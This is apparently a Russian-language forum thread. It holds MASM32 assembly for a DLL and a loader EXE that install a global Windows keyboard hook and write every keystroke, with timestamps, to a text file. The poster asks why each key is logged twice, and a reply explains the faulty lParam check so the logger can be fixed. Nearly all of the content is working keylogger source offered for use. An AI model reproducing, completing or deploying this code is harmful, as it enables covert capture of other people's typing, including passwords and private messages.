DLL Код (Text): .386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data stm SYSTEMTIME <> timeformat DB "HH-mm-ss", 0 time DB 12 dup (?) file db 'E:\masm32\PROJECT7\DLL\file.txt',0 entr2 db '-en-',0 entr db '<--D',0 .data? hFile HANDLE ? SizeReadWrite DWORD ? BufChar db 1 dup (?) .code DllMain proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD .if reason==DLL_PROCESS_ATTACH invoke CreateFile, offset file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov hFile,eax invoke CloseHandle,hFile .elseif reason==DLL_PROCESS_DETACH ;код .elseif reason==DLL_THREAD_ATTACH ;код .else ; DLL_THREAD_DETACH ;код .endif mov eax,TRUE ret DllMain Endp KeyboardProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD LOCAL uScanCode :UINT LOCAL KeyState[256] :BYTE LOCAL uFlags :UINT .if lParam > WM_KEYDOWN invoke MapVirtualKey, wParam, 0 mov uScanCode, eax invoke GetKeyboardState,addr KeyState invoke ToAscii, wParam, uScanCode,addr KeyState,addr BufChar, uFlags invoke CreateFile, addr file,GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 mov hFile,eax invoke SetFilePointer, hFile, 0, 0, FILE_END invoke GetLocalTime, addr stm invoke GetTimeFormat, LOCALE_USER_DEFAULT, NULL, ADDR stm, ADDR timeformat, ADDR time, SIZEOF time cmp uScanCode, 14 jne metka invoke WriteFile, hFile,addr entr, 4, ADDR SizeReadWrite, NULL jmp metka3 metka: cmp BufChar, VK_RETURN jne metka2 invoke WriteFile, hFile,addr entr2, 4, ADDR SizeReadWrite, NULL jmp metka3 metka2: invoke lstrcat, addr time, addr BufChar invoke WriteFile, hFile, addr time, 9, ADDR SizeReadWrite, NULL metka3: invoke CloseHandle,hFile .endif invoke CallNextHookEx, NULL, nCode, wParam, lParam ret KeyboardProc endp end DllMain EXE Код (Text): LibName db "DLL\hello.dll",0 FunctionName db "KeyboardProc",0 DllNotFound db "Cannot load library",0 AppName db "Load Library",0 FunctionNotFound db "TestHello function not found",0 ie db 'IEFrame', 0 .DATA? hWnd HWND ? i dd ? hLib dd ? ; хэндл библиотеки (DLL) TestHelloAddr dd ? hKeybHook dd ? .code Main PROC LOCAL hStdout :DWORD mov i, 0 invoke SetConsoleTitle, offset sConsoleTitle invoke GetStdHandle, STD_OUTPUT_HANDLE mov hStdout,EAX invoke WriteConsole, hStdout, offset sWriteText, 16d, NULL, NULL invoke LoadLibrary,addr LibName .if eax==NULL invoke MessageBox,NULL,addr DllNotFound,addr AppName,MB_OK .else mov hLib,eax invoke GetProcAddress,hLib,addr FunctionName .if eax==NULL invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK .else mov TestHelloAddr,eax invoke SetWindowsHookEx, WH_KEYBOARD, TestHelloAddr, hLib, 0 metka: jmp metka .endif invoke FreeLibrary,hLib .endif invoke ExitProcess, NULL Main ENDP end Main Всё работает нормально но клавиши записываются два раза (пример: hh dd rr и тд.)
Devill .if lParam > WM_KEYDOWN тока на нажатие стоит Согласно Keystroke Message Flags за признак нажатия/отпускания отвечает старший бит lParam. WM_KEYDOWN == 0x0100, т.е. твое условие не имеет отношения к проверке нажатия/отпускания.